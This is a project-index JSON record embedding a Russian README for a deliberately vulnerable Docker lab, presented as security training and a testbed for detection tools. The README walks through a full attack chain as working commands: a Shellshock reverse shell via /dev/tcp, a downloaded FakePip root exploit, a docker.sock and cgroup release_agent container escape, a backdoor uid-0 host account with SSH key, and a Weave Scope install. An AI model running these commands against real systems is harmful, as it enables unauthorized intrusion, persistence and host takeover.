{"id":13841019,"url":"https://github.com/Swordfish-Security/Pentest-In-Docker","last_synced_at":"2025-07-11T10:31:08.429Z","repository":{"id":37433874,"uuid":"312968507","full_name":"Swordfish-Security/Pentest-In-Docker","owner":"Swordfish-Security","description":"Docker image to exploit RCE, try for pentest methods and test container security solutions (trivy, falco and etc.) ","archived":false,"fork":false,"pushed_at":"2020-12-15T16:52:21.000Z","size":21188,"stargazers_count":78,"open_issues_count":1,"forks_count":39,"subscribers_count":2,"default_branch":"master","last_synced_at":"2024-08-05T17:26:25.178Z","etag":null,"topics":["devsecops","docker","escape","pentesting","rce","shellshock","vulnerable-container"],"latest_commit_sha":null,"homepage":"","language":"Dockerfile","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Swordfish-Security.png","metadata":{"files":{"readme":"README-RU.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-11-15T05:59:57.000Z","updated_at":"2024-05-18T20:39:34.000Z","dependencies_parsed_at":"2022-08-19T07:40:38.738Z","dependency_job_id":null,"html_url":"https://github.com/Swordfish-Security/Pentest-In-Docker","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Swordfish-Security%2FPentest-In-Docker","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Swordfish-Security%2FPentest-In-Docker/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Swordfish-Security%2FPentest-In-Docker/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Swordfish-Security%2FPentest-In-Docker/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Swordfish-Security","download_url":"https://codeload.github.com/Swordfish-Security/Pentest-In-Docker/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225713085,"owners_count":17512548,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["devsecops","docker","escape","pentesting","rce","shellshock","vulnerable-container"],"created_at":"2024-08-04T17:01:01.463Z","updated_at":"2024-11-21T10:31:32.848Z","avatar_url":"https://github.com/Swordfish-Security.png","language":"Dockerfile","funding_links":[],"categories":["Dockerfile","Dockerfile (37)"],"sub_categories":[],"readme":"\n# Pentest Docker Step-By-Step\n\nСпециально подготовленный образ для конференции Archdays 2020, позволяющий попрактиковать навыки тестирования на проникновение приложения внутри Docker-контейнера. Образ содержит в себе пакет уязвимый (CVE-2014-6271) Bash, позволяющий реализовать Remote Code Execution. Уязвимость более известна как Shellshock. За основу взят образ [opsxcq](https://github.com/opsxcq/exploit-CVE-2014-6271).\n\nЭксплуатация уявзимости состоит из следующих этапов:\n- Получение доступа в shell контейнера под пользователем www-data, используя RCE (Shellshock)\n- Повышение привилегий до root через FakePip exploit\n- Подключение к docker.sock и разворачивание нового контейнера ubuntu с сервисом SSH для дальнейшего подключения (с маунтом ```/:/host``` и максимальными привилегиями)\n- Создание пользователя hidle на хосте\n- Подключение к хосту с новым пользователем\n- Разворачивание Weave Scope\n\nДанный образ может также быть объектом тестирования для пилотирования решений по Container Security. Пакет bash может быть обнаружен trivy, а выход за пределы контейнера с помощью Falco. \n\n![Pentest-In-Docker-Demo](https://github.com/Swordfish-Security/Pentest-In-Docker/blob/master/2020-11-17-124306.gif)\n\n## Установка уязвимого окружения\n\nЧтобы собрать уязвимый образ контейнера\n\n    docker build . -t  vuln-wheezy\n   \nили\n    \n    docker pull dvyakimov/vuln-wheezy\n\nДля реализации сцераия необходимо развернуть приложение с подключением docker.sock:\n\n    docker run -v /var/run/docker.sock:/var/run/docker.sock --rm -it -p 8080:80 vuln-wheezy:latest\n\nВы можете проверить доступность версиса по адресу ```localhost:8080```\n\n## Exploit\n\n### Эксплуатация Shellshock\n\nЗапускаем на машине, к которой мы будем подключаться через reverse-shell netcat:\n\n    nc -l 1337\n\nВ новом окне эксплуатируем RCE с заменой ```\u003cIP-netcat\u003e```, на котором запущен netcat,```\u003cIP-target\u003e``` на тот, где у вас запущен уязвимый сервис:\n\n    curl -H \"user-agent: () { :; }; echo; echo; /bin/bash -c 'sh -i \u003e\u0026 /dev/tcp/\u003cIP-netcat\u003e/1337 0\u003e\u00261'\" http://\u003cIP-target\u003e/cgi-bin/vulnerable\n    \n## Изучение внутри контейнера\n\n    # информация об ОС внутри контейнера\n    cat /etc/os-release\n    \n    # информация о ядре. На основе этой информации можно начать искать CVE.  \n    uname -rv\n    uname -a\n    \n    # пользователь под которым провалились в контейнер\n    id\n\n    # просмотр текущих cgroups\n    cat /proc/1/cgroup\n\n    # просотр доступных переменных\n    env\n\n    # сеть\n    ifconfig\n\n    # cмотрим какие mounts были сделаны внутрь контейнера\n    cat /proc/mounts\n\n    # смотрим есть ли docker.sock\n    cat /proc/mounts | grep docker.sock\n\n    # просмотр прав на docker.sock\n    ls -l /var/run/docker.sock\n    \nВидим, что есть возможность выполнять установку пакетов pip от sudo:\n\n    sudo -l\n    \n## Повышение привилегий внутри контейнера\n\nСкачиваем exploit для pip в /tmp:\n\n    cd /tmp \u0026\u0026 wget https://raw.githubusercontent.com/dvyakimov/FakePip/master/setup.py\n\nМеняем ```\u003cIP-netcat\u003e```  на тот IP-адрес, где у вас будет запущен еще один netcat:\n\n    cat setup.py | sed \"s/192.168.168.2/\u003cIP-netcat\u003e/\" \u003e setup-new.py \u0026\u0026 mv setup-new.py setup.py\n\nОткрываем в другом терминале, формируя новое подключение\n\n    nc -l 13372\n\nУстанавливаем exploit через pip\n\n    sudo pip install . --upgrade --force-reinstall\n\nПолучаем root внутри контейнера\n\n## Смена контейнера\n\nТеперь, когда есть root, доустанавливаем то, что нам может понадобиться. Например, capsh, чтобы узнать Capabilities:\n\n    apt-get update \u0026\u0026 \\\n    apt-get install libcap2-bin\n\nУзнаем Capabilities:\n\n    grep Cap /proc/self/status\n    capsh --decode=00000000a80425fb   # default запуск\n    # capsh --decode=00000000a82425fb если добавили sys_admin\n    # capsh --decode=0000003fffffffff есть контейнер priviliged \n\nЗдесь можно было бы поставить jq и создать контейнер через подключение по curl в docker.sock, но к сожалению на debian 7 curl настолько старый, что подключение к unix-сокету не поддерживается. Пойдем по пути подключения через netcat. Примеров в Интернете подключения через netcat немного, поэтому разбираемся самостоятельно.\nУстановить пакет, чтобы netcat работал с unix-socket\n\n    apt-get install netcat netcat-openbsd\n\nТеперь можем отправлять запросы в unix-socket:\n\n    echo -e \"GET /images/json HTTP/1.0\\r\\n\" | nc -U /var/run/docker.sock\n\nСкачиваем необходимый образ. Пусть это будет образ ubuntu с сервисом ssh:\n\n    nc -U /var/run/docker.sock\n    POST /v1.39/images/create?fromImage=rastasheep/ubuntu-sshd\u0026tag=14.04 HTTP/1.0\n\nСоздадим новый контейнер ubuntu через docker.sock. Важный момент, что здесь мы маунтим в папку /host всю директорию root хоста:\n\n    request=\"POST /v1.39/containers/create HTTP/1.0\\r\\nContent-Type: application/json\\r\\nContent-Length: 12345\\r\\n\\r\\n{\\\"Image\\\":\\\"rastasheep/ubuntu-sshd:14.04\\\",\n    \\\"HostConfig\\\":{\\\"Privileged\\\":true,\\\"Binds\\\":[\\\"/:/host\\\", \\\"/dev/log:/dev/log\\\"]}}\" \u0026\u0026 echo -e $request | nc -U /var/run/docker.sock\n\n На выходе будет id. Запускаем контейнер (заменяем ```\u003cid\u003e``` на полученный выше:\n\n    request=\"POST /v1.39/containers/\u003cid\u003e/start HTTP/1.0\\r\\n\\r\\n\" \u0026\u0026 echo -e $request | nc -U /var/run/docker.sock\n    \nПроверим новый контейнер. Здесь же можно увидеть IP адрес в поле ```\"IPAddress\"```:\n    \n    echo -e \"GET /images/json HTTP/1.0\\r\\n\" | nc -U /var/run/docker.sock\n\nПодключаемся к соданному нами контейнеру пароль ```root```:\n\n    ssh root@172.17.0.2\n\n## Выход за пределы контейнера\n\nТак как контейнер стал привилигрованный, то можно получить список процессов хоста.\nУвидеть список процессов на хосте за счет лишних capabilities (чтобы это получилось, вставлять команды нужно step-by-step):\n\n    d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` \\\n    mkdir -p $d/w \\\n    echo 1 \u003e$d/w/notify_on_release \\\n    t=`sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab` \\\n    touch /o \\\n    echo $t/c \u003e$d/release_agent \\\n    printf '#!/bin/sh\\nps \u003e'\"$t/o\" \u003e/c \\\n    chmod +x /c \\\n    sh -c \"echo 0 \u003e$d/w/cgroup.procs\" \\\n    sleep 1 \\\n    cat /o\n\nПодключившись на новый контейнер, создаем пользователя ```hidle``` на хосте.\nДобавляем в /host/etc/passwd:\n\n    echo 'hidle:x:0:0:Hidle,,,:/home/hidle:/bin/bash' \u003e\u003e /host/etc/passwd\n\nДобавляем в /host/etc/shadow -пароль ```666106610```:\n\n    echo 'hidle:$6$rU8Vq2aztTvx6FT8$WNeoWmMGe3CGEXYid6c2oUqy1rXuo2nLpyQpywECLM5FlUZo7hp6TBPZyHeDMohPamrDKprK5C5zO3gbEYrc20:18582:0:99999:7:::' \u003e\u003e /host/etc/shadow\n\nДобавляем в /host/etc/group:\n\n    echo 'hidle:x:0:' \u003e\u003e /host/etc/group\n\nДобавляем в /host/etc/gshadow:\n\n    echo 'hidle:!::' \u003e\u003e /host/etc/gshadow\n\nТакже создаем себе директорию:\n\n    mkdir /host/home/hidle\n\nПравда подключиться к хосту может не получиться в случае, если на хосте установлен запрет входа по паролю. В таком случае:\n\n    mkdir /host/home/hidle/.ssh\n\nГенерируем пару ключей:\n\n    ssh-keygen\n\nКладем публичный ключ на хост:\n\n    cat  /root/.ssh/id_rsa.pub \u003e\u003e /host/home/hidle/.ssh/authorized_keys\n\nТеперь подключаемся на хост с помощью созданного пользователя:\n\n    ssh hidle@172.17.0.1\n\nМы подключились к хосту став root несмотря на то, что мы не знаем пароль от root.\n## Выполнение команд на хосте\n\nОказавшись на хосте  можно сказать, что игра закончена, но мы можем сделать еще кое-что:\n\n    sudo curl -L git.io/scope -o /usr/local/bin/scope\n    sudo chmod a+x /usr/local/bin/scope\n    scope launch\n\nНа том же IP адресе, на который мы подключались с RCE,  появился новый сервис по 4040 порту. Если перейти на новый сервис через браузер, можно увидеть информацию обо всех имеющихся контейнерах, информацию о RAM/CPU, вплоть до возможности подключиться к любому сервису через терминал.\n\n\n[Здесь](https://www.intezer.com/blog/cloud-workload-protection/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/) вы можете прочитать про реальные атаки через Weave Scope.\n\n### Дисклеймер\n\nВсе, что продемонстрировано здесь используется для учебных целей. Не пытайтесь повторить без соответствующих прав на сторонних организациях. Swordfish Security не несет ответственность за любой причиненный вред в следствии прямого или косвенного использования данной инструкции и соответствующего ПО. \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FSwordfish-Security%2FPentest-In-Docker","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FSwordfish-Security%2FPentest-In-Docker","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FSwordfish-Security%2FPentest-In-Docker/lists"}